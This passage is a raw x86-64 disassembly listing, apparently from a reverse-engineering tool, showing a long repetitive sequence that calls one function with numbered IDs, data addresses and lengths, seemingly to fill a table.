0040f61fba 06 00 00 00MOV EDX,0x6
0040f624bf 29 01 00 00MOV EDI,0x129
0040f62948 8d 35 a5 83 01 00LEA RSI,[DAT_004279d5]
0040f630e8 c5 e2 ff ffCALL FUN_0040d8fa
0040f635ba 08 00 00 00MOV EDX,0x8
0040f63abf 2a 01 00 00MOV EDI,0x12a
0040f63f48 8d 35 96 83 01 00LEA RSI,[DAT_004279dc]
0040f646e8 af e2 ff ffCALL FUN_0040d8fa
0040f64bba 19 00 00 00MOV EDX,0x19
0040f650bf 2b 01 00 00MOV EDI,0x12b
0040f65548 8d 35 89 83 01 00LEA RSI,[DAT_004279e5]
0040f65ce8 99 e2 ff ffCALL FUN_0040d8fa
0040f661ba 07 00 00 00MOV EDX,0x7
0040f666bf 2c 01 00 00MOV EDI,0x12c
0040f66b48 8d 35 8d 83 01 00LEA RSI,[DAT_004279ff]
0040f672e8 83 e2 ff ffCALL FUN_0040d8fa
0040f677ba 12 00 00 00MOV EDX,0x12
0040f67cbf 2d 01 00 00MOV EDI,0x12d
0040f68148 8d 35 7f 83 01 00LEA RSI,[DAT_00427a07]
0040f688e8 6d e2 ff ffCALL FUN_0040d8fa
0040f68dba 04 00 00 00MOV EDX,0x4
0040f692bf 2e 01 00 00MOV EDI,0x12e
0040f69748 8d 35 7c 83 01 00LEA RSI,[DAT_00427a1a]
0040f69ee8 57 e2 ff ffCALL FUN_0040d8fa
0040f6a3ba 04 00 00 00MOV EDX,0x4
0040f6a8bf 2f 01 00 00MOV EDI,0x12f
0040f6ad48 8d 35 6b 83 01 00LEA RSI,[DAT_00427a1f]
0040f6b4e8 41 e2 ff ffCALL FUN_0040d8fa
0040f6b9ba 09 00 00 00MOV EDX,0x9
0040f6bebf 30 01 00 00MOV EDI,0x130
0040f6c348 8d 35 5a 83 01 00LEA RSI,[DAT_00427a24]
0040f6cae8 2b e2 ff ffCALL FUN_0040d8fa
0040f6cfba 54 00 00 00MOV EDX,0x54
0040f6d4bf 31 01 00 00MOV EDI,0x131
0040f6d948 8d 35 4e 83 01 00LEA RSI,[DAT_00427a2e]
0040f6e0e8 15 e2 ff ffCALL FUN_0040d8fa
0040f6e5ba 04 00 00 00MOV EDX,0x4
0040f6eabf 32 01 00 00MOV EDI,0x132
0040f6ef48 8d 35 8d 83 01 00LEA RSI,[DAT_00427a83]
0040f6f6e8 ff e1 ff ffCALL FUN_0040d8fa
0040f6fbba 0e 00 00 00MOV EDX,0xe
0040f700bf 33 01 00 00MOV EDI,0x133
0040f70548 8d 35 7c 83 01 00LEA RSI,[DAT_00427a88]
0040f70ce8 e9 e1 ff ffCALL FUN_0040d8fa
0040f711ba 04 00 00 00MOV EDX,0x4
0040f716bf 34 01 00 00MOV EDI,0x134
0040f71b48 8d 35 75 83 01 00LEA RSI,[DAT_00427a97]
0040f722e8 d3 e1 ff ffCALL FUN_0040d8fa
0040f727ba 08 00 00 00MOV EDX,0x8
0040f72cbf 35 01 00 00MOV EDI,0x135
0040f73148 8d 35 64 83 01 00LEA RSI,[DAT_00427a9c]
0040f738e8 bd e1 ff ffCALL FUN_0040d8fa
0040f73dba 04 00 00 00MOV EDX,0x4
0040f742bf 36 01 00 00MOV EDI,0x136
0040f74748 8d 35 57 83 01 00LEA RSI,[DAT_00427aa5]
0040f74ee8 a7 e1 ff ffCALL FUN_0040d8fa
0040f753ba 0c 00 00 00MOV EDX,0xc
0040f758bf 37 01 00 00MOV EDI,0x137
0040f75d48 8d 35 46 83 01 00LEA RSI,[DAT_00427aaa]
0040f764e8 91 e1 ff ffCALL FUN_0040d8fa
0040f769ba 07 00 00 00MOV EDX,0x7
0040f76e48 89 deMOV RSI,RBX
0040f771bf 38 01 00 00MOV EDI,0x138
0040f776e8 7f e1 ff ffCALL FUN_0040d8fa
0040f77bba 13 00 00 00MOV EDX,0x13
0040f780bf 39 01 00 00MOV EDI,0x139
0040f78548 8d 35 2b 83 01 00LEA RSI,[DAT_00427ab7]
0040f78ce8 69 e1 ff ffCALL FUN_0040d8fa
0040f791ba 13 00 00 00MOV EDX,0x13
0040f796bf 3a 01 00 00MOV EDI,0x13a
0040f79b48 8d 35 29 83 01 00LEA RSI,[DAT_00427acb]
0040f7a2e8 53 e1 ff ffCALL FUN_0040d8fa
0040f7a7ba 12 00 00 00MOV EDX,0x12
0040f7acbf 3b 01 00 00MOV EDI,0x13b
0040f7b148 8d 35 dc 8a 01 00LEA RSI,[DAT_00428294]
0040f7b8e8 3d e1 ff ffCALL FUN_0040d8fa
0040f7bdba 12 00 00 00MOV EDX,0x12
0040f7c2bf 3c 01 00 00MOV EDI,0x13c
0040f7c748 8d 35 d9 8a 01 00LEA RSI,[DAT_004282a7]
0040f7cee8 27 e1 ff ffCALL FUN_0040d8fa
0040f7d3ba 13 00 00 00MOV EDX,0x13
0040f7d8bf 3d 01 00 00MOV EDI,0x13d
0040f7dd48 8d 35 fb 82 01 00LEA RSI,[DAT_00427adf]
0040f7e4e8 11 e1 ff ffCALL FUN_0040d8fa
0040f7e9ba 0f 00 00 00MOV EDX,0xf
0040f7eebf 3e 01 00 00MOV EDI,0x13e
0040f7f348 8d 35 f9 82 01 00LEA RSI,[DAT_00427af3]
0040f7fae8 fb e0 ff ffCALL FUN_0040d8fa
0040f7ffba 10 00 00 00MOV EDX,0x10
0040f804bf 3f 01 00 00MOV EDI,0x13f
0040f80948 8d 35 f3 82 01 00LEA RSI,[DAT_00427b03]
0040f810e8 e5 e0 ff ffCALL FUN_0040d8fa
0040f815ba 11 00 00 00MOV EDX,0x11
0040f81abf 40 01 00 00MOV EDI,0x140
0040f81f48 8d 35 ee 82 01 00LEA RSI,[DAT_00427b14]
0040f826e8 cf e0 ff ffCALL FUN_0040d8fa
0040f82bba 0f 00 00 00MOV EDX,0xf
0040f830bf 41 01 00 00MOV EDI,0x141
0040f83548 8d 35 ea 82 01 00LEA RSI,[DAT_00427b26]
0040f83ce8 b9 e0 ff ffCALL FUN_0040d8fa
0040f841ba 10 00 00 00MOV EDX,0x10
0040f846bf 42 01 00 00MOV EDI,0x142
0040f84b48 8d 35 e4 82 01 00LEA RSI,[DAT_00427b36]
0040f852e8 a3 e0 ff ffCALL FUN_0040d8fa
0040f857ba 0c 00 00 00MOV EDX,0xc
0040f85cbf 43 01 00 00MOV EDI,0x143
0040f86148 8d 35 df 82 01 00LEA RSI,[DAT_00427b47]
0040f868e8 8d e0 ff ffCALL FUN_0040d8fa
0040f86dba 0e 00 00 00MOV EDX,0xe
0040f872bf 44 01 00 00MOV EDI,0x144
0040f87748 8d 35 d6 82 01 00LEA RSI,[DAT_00427b54]
0040f87ee8 77 e0 ff ffCALL FUN_0040d8fa
0040f883ba 20 00 00 00MOV EDX,0x20
0040f888bf 45 01 00 00MOV EDI,0x145
0040f88d48 8d 35 cf 82 01 00LEA RSI,[DAT_00427b63]
0040f894e8 61 e0 ff ffCALL FUN_0040d8fa
0040f899ba 0e 00 00 00MOV EDX,0xe
0040f89ebf 46 01 00 00MOV EDI,0x146
0040f8a348 8d 35 da 82 01 00LEA RSI,[DAT_00427b84]
0040f8aae8 4b e0 ff ffCALL FUN_0040d8fa
0040f8afba 0d 00 00 00MOV EDX,0xd
0040f8b4bf 47 01 00 00MOV EDI,0x147
0040f8b948 8d 35 d3 82 01 00LEA RSI,[DAT_00427b93]
0040f8c0e8 35 e0 ff ffCALL FUN_0040d8fa
0040f8c5ba 0b 00 00 00MOV EDX,0xb
0040f8cabf 48 01 00 00MOV EDI,0x148
0040f8cf48 8d 35 cb 82 01 00LEA RSI,[DAT_00427ba1]
0040f8d6e8 1f e0 ff ffCALL FUN_0040d8fa
0040f8dbba 12 00 00 00MOV EDX,0x12
0040f8e0bf 49 01 00 00MOV EDI,0x149
0040f8e548 8d 35 c1 82 01 00LEA RSI,[DAT_00427bad]
0040f8ece8 09 e0 ff ffCALL FUN_0040d8fa
0040f8f1ba 08 00 00 00MOV EDX,0x8
0040f8f6bf 4a 01 00 00MOV EDI,0x14a
0040f8fb48 8d 35 be 82 01 00LEA RSI,[DAT_00427bc0]
0040f902e8 f3 df ff ffCALL FUN_0040d8fa
0040f907ba 04 00 00 00MOV EDX,0x4
0040f90cbf 4b 01 00 00MOV EDI,0x14b
0040f9114c 8d 1d 1a 7f 01 00LEA R11,[DAT_00427832]
0040f9184c 89 deMOV RSI,R11
0040f91be8 da df ff ffCALL FUN_0040d8fa
0040f920ba 04 00 00 00MOV EDX,0x4
0040f925bf 4c 01 00 00MOV EDI,0x14c
0040f92a4c 8d 15 f3 7e 01 00LEA R10,[DAT_00427824]
0040f9314c 89 d6MOV RSI,R10
0040f934e8 c1 df ff ffCALL FUN_0040d8fa
0040f939ba 04 00 00 00MOV EDX,0x4
0040f93ebf 4d 01 00 00MOV EDI,0x14d
0040f9434c 8d 0d ed 7e 01 00LEA R9,[DAT_00427837]
0040f94a4c 89 ceMOV RSI,R9
0040f94de8 a8 df ff ffCALL FUN_0040d8fa
0040f952ba 04 00 00 00MOV EDX,0x4
0040f957bf 4e 01 00 00MOV EDI,0x14e
0040f95c4c 8d 05 bc 7e 01 00LEA R8,[DAT_0042781f]
0040f9634c 89 c6MOV RSI,R8
0040f966e8 8f df ff ffCALL FUN_0040d8fa
0040f96bba 06 00 00 00MOV EDX,0x6
0040f9704c 89 feMOV RSI,R15
0040f973bf 4f 01 00 00MOV EDI,0x14f
0040f978e8 7d df ff ffCALL FUN_0040d8fa
0040f97dba 06 00 00 00MOV EDX,0x6
0040f982bf 50 01 00 00MOV EDI,0x150
0040f98748 8d 35 3b 82 01 00LEA RSI,[DAT_00427bc9]
0040f98ee8 67 df ff ffCALL FUN_0040d8fa
0040f993ba 06 00 00 00MOV EDX,0x6
0040f998bf 51 01 00 00MOV EDI,0x151
0040f99d48 8d 35 2c 82 01 00LEA RSI,[DAT_00427bd0]
0040f9a4e8 51 df ff ffCALL FUN_0040d8fa
0040f9a9ba 05 00 00 00MOV EDX,0x5
0040f9aebf 52 01 00 00MOV EDI,0x152
0040f9b348 8d 35 1d 82 01 00LEA RSI,[DAT_00427bd7]
0040f9bae8 3b df ff ffCALL FUN_0040d8fa
0040f9bfba 05 00 00 00MOV EDX,0x5
0040f9c4bf 53 01 00 00MOV EDI,0x153
0040f9c948 8d 35 0d 82 01 00LEA RSI,[DAT_00427bdd]
0040f9d0e8 25 df ff ffCALL FUN_0040d8fa
0040f9d5ba 07 00 00 00MOV EDX,0x7
0040f9dabf 54 01 00 00MOV EDI,0x154
0040f9df48 8d 35 fd 81 01 00LEA RSI,[DAT_00427be3]
0040f9e6e8 0f df ff ffCALL FUN_0040d8fa
0040f9ebba 05 00 00 00MOV EDX,0x5
0040f9f0bf 55 01 00 00MOV EDI,0x155
0040f9f548 8d 35 ef 81 01 00LEA RSI,[DAT_00427beb]
0040f9fce8 f9 de ff ffCALL FUN_0040d8fa
0040fa01ba 05 00 00 00MOV EDX,0x5
0040fa064c 89 f6MOV RSI,R14
0040fa09bf 56 01 00 00MOV EDI,0x156
0040fa0ee8 e7 de ff ffCALL FUN_0040d8fa
0040fa13ba 04 00 00 00MOV EDX,0x4
0040fa184c 89 eeMOV RSI,R13
0040fa1bbf 57 01 00 00MOV EDI,0x157
0040fa20e8 d5 de ff ffCALL FUN_0040d8fa
0040fa25ba 04 00 00 00MOV EDX,0x4
0040fa2abf 58 01 00 00MOV EDI,0x158
0040fa2f48 8d 35 bb 81 01 00LEA RSI,[DAT_00427bf1]
0040fa36e8 bf de ff ffCALL FUN_0040d8fa
0040fa3bba 03 00 00 00MOV EDX,0x3
0040fa40bf 59 01 00 00MOV EDI,0x159
0040fa4548 8d 35 aa 81 01 00LEA RSI,[DAT_00427bf6]
0040fa4ce8 a9 de ff ffCALL FUN_0040d8fa
0040fa51ba 0f 00 00 00MOV EDX,0xf
0040fa56bf 5a 01 00 00MOV EDI,0x15a
0040fa5b48 8d 35 98 81 01 00LEA RSI,[DAT_00427bfa]
0040fa62e8 93 de ff ffCALL FUN_0040d8fa
0040fa67ba 0c 00 00 00MOV EDX,0xc
0040fa6cbf 5b 01 00 00MOV EDI,0x15b
0040fa7148 8d 35 92 81 01 00LEA RSI,[DAT_00427c0a]
0040fa78e8 7d de ff ffCALL FUN_0040d8fa
0040fa7dba 10 00 00 00MOV EDX,0x10
0040fa82bf 5c 01 00 00MOV EDI,0x15c
0040fa8748 8d 35 89 81 01 00LEA RSI,[DAT_00427c17]
0040fa8ee8 67 de ff ffCALL FUN_0040d8fa
0040fa93ba 0c 00 00 00MOV EDX,0xc
0040fa98bf 5d 01 00 00MOV EDI,0x15d
0040fa9d48 8d 35 84 81 01 00LEA RSI,[DAT_00427c28]
0040faa4e8 51 de ff ffCALL FUN_0040d8fa
0040faa9ba 05 00 00 00MOV EDX,0x5
0040faaebf 5e 01 00 00MOV EDI,0x15e
0040fab348 8d 35 dd 7c 01 00LEA RSI,[DAT_00427797]
0040fabae8 3b de ff ffCALL FUN_0040d8fa
0040fabfba 06 00 00 00MOV EDX,0x6
0040fac4bf 5f 01 00 00MOV EDI,0x15f
0040fac948 8d 35 3e 77 01 00LEA RSI,[DAT_0042720e]
0040fad0e8 25 de ff ffCALL FUN_0040d8fa
0040fad5ba 0e 00 00 00MOV EDX,0xe
0040fadabf 60 01 00 00MOV EDI,0x160
0040fadf48 8d 35 4f 81 01 00LEA RSI,[DAT_00427c35]
0040fae6e8 0f de ff ffCALL FUN_0040d8fa
0040faebba 0f 00 00 00MOV EDX,0xf
0040faf0bf 61 01 00 00MOV EDI,0x161
0040faf548 8d 35 48 81 01 00LEA RSI,[DAT_00427c44]
0040fafce8 f9 dd ff ffCALL FUN_0040d8fa
0040fb01ba 04 00 00 00MOV EDX,0x4
0040fb06bf 62 01 00 00MOV EDI,0x162
0040fb0b48 8d 35 42 81 01 00LEA RSI,[DAT_00427c54]
0040fb12e8 e3 dd ff ffCALL FUN_0040d8fa
0040fb17ba 04 00 00 00MOV EDX,0x4
0040fb1cbf 63 01 00 00MOV EDI,0x163
0040fb2148 8d 35 4a 77 01 00LEA RSI,[DAT_00427272]
0040fb28e8 cd dd ff ffCALL FUN_0040d8fa
0040fb2dba 09 00 00 00MOV EDX,0x9
0040fb32bf 64 01 00 00MOV EDI,0x164
0040fb3748 8d 35 1b 81 01 00LEA RSI,[DAT_00427c59]
0040fb3ee8 b7 dd ff ffCALL FUN_0040d8fa
0040fb43ba 09 00 00 00MOV EDX,0x9
0040fb48bf 65 01 00 00MOV EDI,0x165
0040fb4d48 8d 35 0f 81 01 00LEA RSI,[DAT_00427c63]
0040fb54e8 a1 dd ff ffCALL FUN_0040d8fa
0040fb59ba 12 00 00 00MOV EDX,0x12
0040fb5ebf 66 01 00 00MOV EDI,0x166
0040fb6348 8d 35 03 81 01 00LEA RSI,[DAT_00427c6d]
0040fb6ae8 8b dd ff ffCALL FUN_0040d8fa
0040fb6fba 09 00 00 00MOV EDX,0x9
0040fb74bf 67 01 00 00MOV EDI,0x167
0040fb7948 8d 35 00 81 01 00LEA RSI,[DAT_00427c80]
0040fb80e8 75 dd ff ffCALL FUN_0040d8fa
0040fb85ba 06 00 00 00MOV EDX,0x6
0040fb8abf 68 01 00 00MOV EDI,0x168
0040fb8f48 8d 35 f4 80 01 00LEA RSI,[DAT_00427c8a]
0040fb96e8 5f dd ff ffCALL FUN_0040d8fa
0040fb9bba 06 00 00 00MOV EDX,0x6
0040fba0bf 69 01 00 00MOV EDI,0x169
0040fba548 8d 35 e5 80 01 00LEA RSI,[DAT_00427c91]
0040fbace8 49 dd ff ffCALL FUN_0040d8fa
0040fbb1ba 04 00 00 00MOV EDX,0x4
0040fbb6bf 6a 01 00 00MOV EDI,0x16a
0040fbbb48 8d 35 d6 80 01 00LEA RSI,[DAT_00427c98]
0040fbc2e8 33 dd ff ffCALL FUN_0040d8fa
0040fbc7ba 03 00 00 00MOV EDX,0x3
0040fbccbf 6b 01 00 00MOV EDI,0x16b
0040fbd148 8d 35 c5 80 01 00LEA RSI,[DAT_00427c9d]
0040fbd8e8 1d dd ff ffCALL FUN_0040d8fa
0040fbddba 06 00 00 00MOV EDX,0x6
0040fbe2bf 6c 01 00 00MOV EDI,0x16c
0040fbe748 8d 35 b3 80 01 00LEA RSI,[DAT_00427ca1]
0040fbeee8 07 dd ff ffCALL FUN_0040d8fa
0040fbf3ba 05 00 00 00MOV EDX,0x5
0040fbf8bf 6d 01 00 00MOV EDI,0x16d
0040fbfd48 8d 35 b6 86 01 00LEA RSI,[DAT_004282ba]
0040fc04e8 f1 dc ff ffCALL FUN_0040d8fa
0040fc09ba 08 00 00 00MOV EDX,0x8
0040fc0ebf 6e 01 00 00MOV EDI,0x16e
0040fc1348 8d 35 8e 80 01 00LEA RSI,[DAT_00427ca8]
0040fc1ae8 db dc ff ffCALL FUN_0040d8fa
0040fc1fba 05 00 00 00MOV EDX,0x5
0040fc24bf 6f 01 00 00MOV EDI,0x16f
0040fc2948 8d 35 90 86 01 00LEA RSI,[DAT_004282c0]
0040fc30e8 c5 dc ff ffCALL FUN_0040d8fa
0040fc35ba 06 00 00 00MOV EDX,0x6
0040fc3abf 70 01 00 00MOV EDI,0x170
0040fc3f48 8d 35 6b 80 01 00LEA RSI,[DAT_00427cb1]
0040fc46e8 af dc ff ffCALL FUN_0040d8fa
0040fc4bba 07 00 00 00MOV EDX,0x7
0040fc50bf 71 01 00 00MOV EDI,0x171
0040fc5548 8d 35 5c 80 01 00LEA RSI,[DAT_00427cb8]
0040fc5ce8 99 dc ff ffCALL FUN_0040d8fa
0040fc61ba 06 00 00 00MOV EDX,0x6
0040fc66bf 72 01 00 00MOV EDI,0x172
0040fc6b48 8d 35 4e 80 01 00LEA RSI,[DAT_00427cc0]
0040fc72e8 83 dc ff ffCALL FUN_0040d8fa
0040fc77ba 07 00 00 00MOV EDX,0x7
0040fc7cbf 73 01 00 00MOV EDI,0x173
0040fc8148 8d 35 3f 80 01 00LEA RSI,[DAT_00427cc7]
0040fc88e8 6d dc ff ffCALL FUN_0040d8fa
0040fc8dba 07 00 00 00MOV EDX,0x7
0040fc92bf 74 01 00 00MOV EDI,0x174
0040fc9748 8d 35 31 80 01 00LEA RSI,[DAT_00427ccf]
0040fc9ee8 57 dc ff ffCALL FUN_0040d8fa
0040fca3ba 08 00 00 00MOV EDX,0x8
0040fca8bf 75 01 00 00MOV EDI,0x175
0040fcad48 8d 35 12 86 01 00LEA RSI,[DAT_004282c6]
0040fcb4e8 41 dc ff ffCALL FUN_0040d8fa
0040fcb9ba 07 00 00 00MOV EDX,0x7
0040fcbebf 76 01 00 00MOV EDI,0x176
0040fcc348 8d 35 0d 80 01 00LEA RSI,[DAT_00427cd7]
0040fccae8 2b dc ff ffCALL FUN_0040d8fa
0040fccfba 06 00 00 00MOV EDX,0x6
0040fcd4bf 77 01 00 00MOV EDI,0x177
0040fcd948 8d 35 ff 7f 01 00LEA RSI,[DAT_00427cdf]
0040fce0e8 15 dc ff ffCALL FUN_0040d8fa
0040fce5ba 06 00 00 00MOV EDX,0x6
0040fceabf 78 01 00 00MOV EDI,0x178
0040fcef48 8d 35 f0 7f 01 00LEA RSI,[DAT_00427ce6]
0040fcf6e8 ff db ff ffCALL FUN_0040d8fa
0040fcfbba 0b 00 00 00MOV EDX,0xb
0040fd00bf 79 01 00 00MOV EDI,0x179
0040fd0548 8d 35 c3 85 01 00LEA RSI,[DAT_004282cf]
0040fd0ce8 e9 db ff ffCALL FUN_0040d8fa
0040fd11ba 0a 00 00 00MOV EDX,0xa
0040fd16bf 7a 01 00 00MOV EDI,0x17a
0040fd1b48 8d 35 cb 7f 01 00LEA RSI,[DAT_00427ced]
0040fd22e8 d3 db ff ffCALL FUN_0040d8fa
0040fd27ba 09 00 00 00MOV EDX,0x9
0040fd2cbf 7b 01 00 00MOV EDI,0x17b
0040fd3148 8d 35 c0 7f 01 00LEA RSI,[DAT_00427cf8]
0040fd38e8 bd db ff ffCALL FUN_0040d8fa
0040fd3dba 0a 00 00 00MOV EDX,0xa
0040fd42bf 7c 01 00 00MOV EDI,0x17c
0040fd4748 8d 35 b4 7f 01 00LEA RSI,[DAT_00427d02]
0040fd4ee8 a7 db ff ffCALL FUN_0040d8fa
0040fd53ba 05 00 00 00MOV EDX,0x5
0040fd58bf 7d 01 00 00MOV EDI,0x17d
0040fd5d48 8d 35 77 85 01 00LEA RSI,[DAT_004282db]
0040fd64e8 91 db ff ffCALL FUN_0040d8fa
0040fd69ba 06 00 00 00MOV EDX,0x6
0040fd6ebf 7e 01 00 00MOV EDI,0x17e
0040fd7348 8d 35 93 7f 01 00LEA RSI,[DAT_00427d0d]
0040fd7ae8 7b db ff ffCALL FUN_0040d8fa
0040fd7fba 04 00 00 00MOV EDX,0x4
0040fd84bf 7f 01 00 00MOV EDI,0x17f
0040fd8948 8d 35 84 7f 01 00LEA RSI,[DAT_00427d14]
0040fd90e8 65 db ff ffCALL FUN_0040d8fa
0040fd95ba 04 00 00 00MOV EDX,0x4
0040fd9abf 80 01 00 00MOV EDI,0x180
0040fd9f48 8d 35 73 7f 01 00LEA RSI,[DAT_00427d19]
0040fda6e8 4f db ff ffCALL FUN_0040d8fa
0040fdabba 05 00 00 00MOV EDX,0x5
0040fdb04c 89 e6MOV RSI,R12
0040fdb3bf 81 01 00 00MOV EDI,0x181
0040fdb8e8 3d db ff ffCALL FUN_0040d8fa
0040fdbdba 07 00 00 00MOV EDX,0x7
0040fdc2bf 82 01 00 00MOV EDI,0x182
0040fdc748 8d 35 50 7f 01 00LEA RSI,[DAT_00427d1e]
0040fdcee8 27 db ff ffCALL FUN_0040d8fa
0040fdd348 89 eeMOV RSI,RBP
0040fdd6ba 05 00 00 00MOV EDX,0x5
0040fddbbf 83 01 00 00MOV EDI,0x183
0040fde0e8 15 db ff ffCALL FUN_0040d8fa
0040fde5ba 10 00 00 00MOV EDX,0x10
0040fdea48 8d 35 35 7f 01 00LEA RSI,[DAT_00427d26]
0040fdf1bf 84 01 00 00MOV EDI,0x184
0040fdf6e8 ff da ff ffCALL FUN_0040d8fa
0040fdfbba 0e 00 00 00MOV EDX,0xe
0040fe0048 8d 35 30 7f 01 00LEA RSI,[DAT_00427d37]
0040fe07bf 85 01 00 00MOV EDI,0x185
0040fe0ce8 e9 da ff ffCALL FUN_0040d8fa
0040fe11ba 0e 00 00 00MOV EDX,0xe
0040fe1648 8d 35 29 7f 01 00LEA RSI,[DAT_00427d46]
0040fe1dbf 86 01 00 00MOV EDI,0x186
0040fe22e8 d3 da ff ffCALL FUN_0040d8fa
0040fe27ba 14 00 00 00MOV EDX,0x14
0040fe2c48 8d 35 22 7f 01 00LEA RSI,[DAT_00427d55]
0040fe33bf 87 01 00 00MOV EDI,0x187
0040fe38e8 bd da ff ffCALL FUN_0040d8fa
0040fe3dba 12 00 00 00MOV EDX,0x12
0040fe4248 8d 35 98 84 01 00LEA RSI,[DAT_004282e1]
0040fe49bf 88 01 00 00MOV EDI,0x188
0040fe4ee8 a7 da ff ffCALL FUN_0040d8fa
0040fe53ba 16 00 00 00MOV EDX,0x16
0040fe5848 8d 35 0b 7f 01 00LEA RSI,[DAT_00427d6a]
0040fe5fbf 89 01 00 00MOV EDI,0x189
0040fe64e8 91 da ff ffCALL FUN_0040d8fa
0040fe69ba 14 00 00 00MOV EDX,0x14
0040fe6e48 8d 35 0c 7f 01 00LEA RSI,[DAT_00427d81]
0040fe75bf 8a 01 00 00MOV EDI,0x18a
0040fe7ae8 7b da ff ffCALL FUN_0040d8fa
0040fe7fba 1b 00 00 00MOV EDX,0x1b
0040fe8448 8d 35 0b 7f 01 00LEA RSI,[DAT_00427d96]
0040fe8bbf 8b 01 00 00MOV EDI,0x18b
0040fe90e8 65 da ff ffCALL FUN_0040d8fa
0040fe95ba 12 00 00 00MOV EDX,0x12
0040fe9a48 8d 35 53 84 01 00LEA RSI,[DAT_004282f4]
0040fea1bf 8c 01 00 00MOV EDI,0x18c
0040fea6e8 4f da ff ffCALL FUN_0040d8fa
0040feabba 12 00 00 00MOV EDX,0x12
0040feb048 8d 35 50 84 01 00LEA RSI,[DAT_00428307]
0040feb7bf 8d 01 00 00MOV EDI,0x18d
0040febce8 39 da ff ffCALL FUN_0040d8fa
0040fec1ba 18 00 00 00MOV EDX,0x18
0040fec648 8d 35 e5 7e 01 00LEA RSI,[DAT_00427db2]
0040fecdbf 8e 01 00 00MOV EDI,0x18e
0040fed2e8 23 da ff ffCALL FUN_0040d8fa
0040fed7ba 17 00 00 00MOV EDX,0x17
0040fedc48 8d 35 e8 7e 01 00LEA RSI,[DAT_00427dcb]
0040fee3bf 8f 01 00 00MOV EDI,0x18f
0040fee8e8 0d da ff ffCALL FUN_0040d8fa
0040feedba 19 00 00 00MOV EDX,0x19
0040fef248 8d 35 ea 7e 01 00LEA RSI,[DAT_00427de3]
0040fef9bf 90 01 00 00MOV EDI,0x190
0040fefee8 f7 d9 ff ffCALL FUN_0040d8fa
0040ff03ba 1a 00 00 00MOV EDX,0x1a
0040ff0848 8d 35 ee 7e 01 00LEA RSI,[DAT_00427dfd]
0040ff0fbf 91 01 00 00MOV EDI,0x191
0040ff14e8 e1 d9 ff ffCALL FUN_0040d8fa
0040ff19ba 19 00 00 00MOV EDX,0x19
0040ff1e48 8d 35 f3 7e 01 00LEA RSI,[DAT_00427e18]
0040ff25bf 92 01 00 00MOV EDI,0x192
0040ff2ae8 cb d9 ff ffCALL FUN_0040d8fa
0040ff2fba 1b 00 00 00MOV EDX,0x1b
0040ff3448 8d 35 f7 7e 01 00LEA RSI,[DAT_00427e32]
0040ff3bbf 93 01 00 00MOV EDI,0x193
0040ff40e8 b5 d9 ff ffCALL FUN_0040d8fa
0040ff45ba 09 00 00 00MOV EDX,0x9
0040ff4a48 8d 35 fd 7e 01 00LEA RSI,[DAT_00427e4e]
0040ff51bf 94 01 00 00MOV EDI,0x194
0040ff56e8 9f d9 ff ffCALL FUN_0040d8fa
0040ff5bba 09 00 00 00MOV EDX,0x9
0040ff6048 8d 35 f1 7e 01 00LEA RSI,[DAT_00427e58]
0040ff67bf 95 01 00 00MOV EDI,0x195
0040ff6ce8 89 d9 ff ffCALL FUN_0040d8fa
0040ff71ba 0b 00 00 00MOV EDX,0xb
0040ff7648 8d 35 e5 7e 01 00LEA RSI,[DAT_00427e62]
0040ff7dbf 96 01 00 00MOV EDI,0x196
0040ff82e8 73 d9 ff ffCALL FUN_0040d8fa
0040ff87ba 04 00 00 00MOV EDX,0x4
0040ff8c48 8d 35 db 7e 01 00LEA RSI,[DAT_00427e6e]
0040ff93bf 97 01 00 00MOV EDI,0x197
0040ff98e8 5d d9 ff ffCALL FUN_0040d8fa
0040ff9dba 07 00 00 00MOV EDX,0x7
0040ffa248 8d 35 ca 7e 01 00LEA RSI,[DAT_00427e73]
0040ffa9bf 98 01 00 00MOV EDI,0x198
0040ffaee8 47 d9 ff ffCALL FUN_0040d8fa
0040ffb3ba 09 00 00 00MOV EDX,0x9
0040ffb848 8d 35 5b 83 01 00LEA RSI,[DAT_0042831a]
0040ffbfbf 99 01 00 00MOV EDI,0x199
0040ffc4e8 31 d9 ff ffCALL FUN_0040d8fa
0040ffc9ba 09 00 00 00MOV EDX,0x9
0040ffce48 8d 35 a6 7e 01 00LEA RSI,[DAT_00427e7b]
0040ffd5bf 9a 01 00 00MOV EDI,0x19a
0040ffdae8 1b d9 ff ffCALL FUN_0040d8fa
0040ffdfba 08 00 00 00MOV EDX,0x8
0040ffe448 8d 35 0e 78 01 00LEA RSI,[DAT_004277f9]
0040ffebbf 9b 01 00 00MOV EDI,0x19b
0040fff0e8 05 d9 ff ffCALL FUN_0040d8fa
0040fff5ba 08 00 00 00MOV EDX,0x8
0040fffa48 8d 35 84 7e 01 00LEA RSI,[DAT_00427e85]
00410001bf 9c 01 00 00MOV EDI,0x19c
00410006e8 ef d8 ff ffCALL FUN_0040d8fa
0041000bba 04 00 00 00MOV EDX,0x4
0041001048 8d 35 77 7e 01 00LEA RSI,[DAT_00427e8e]
00410017bf 9d 01 00 00MOV EDI,0x19d
0041001ce8 d9 d8 ff ffCALL FUN_0040d8fa
00410021ba 07 00 00 00MOV EDX,0x7
0041002648 8d 35 af 77 01 00LEA RSI,[DAT_004277dc]
0041002dbf 9e 01 00 00MOV EDI,0x19e
00410032e8 c3 d8 ff ffCALL FUN_0040d8fa
00410037ba 05 00 00 00MOV EDX,0x5
0041003c48 8d 35 50 7e 01 00LEA RSI,[DAT_00427e93]
00410043bf 9f 01 00 00MOV EDI,0x19f
00410048e8 ad d8 ff ffCALL FUN_0040d8fa
0041004dba 08 00 00 00MOV EDX,0x8
0041005248 8d 35 40 7e 01 00LEA RSI,[DAT_00427e99]
00410059bf a0 01 00 00MOV EDI,0x1a0
0041005ee8 97 d8 ff ffCALL FUN_0040d8fa
00410063ba 0b 00 00 00MOV EDX,0xb
0041006848 8d 35 33 7e 01 00LEA RSI,[DAT_00427ea2]
0041006fbf a1 01 00 00MOV EDI,0x1a1
00410074e8 81 d8 ff ffCALL FUN_0040d8fa
00410079ba 04 00 00 00MOV EDX,0x4
0041007e48 8d 35 29 7e 01 00LEA RSI,[DAT_00427eae]
00410085bf a2 01 00 00MOV EDI,0x1a2
0041008ae8 6b d8 ff ffCALL FUN_0040d8fa
0041008fba 05 00 00 00MOV EDX,0x5
0041009448 8d 35 18 7e 01 00LEA RSI,[DAT_00427eb3]
0041009bbf a3 01 00 00MOV EDI,0x1a3
004100a0e8 55 d8 ff ffCALL FUN_0040d8fa
004100a5ba 07 00 00 00MOV EDX,0x7
004100aa48 8d 35 08 7e 01 00LEA RSI,[DAT_00427eb9]
004100b1bf a4 01 00 00MOV EDI,0x1a4
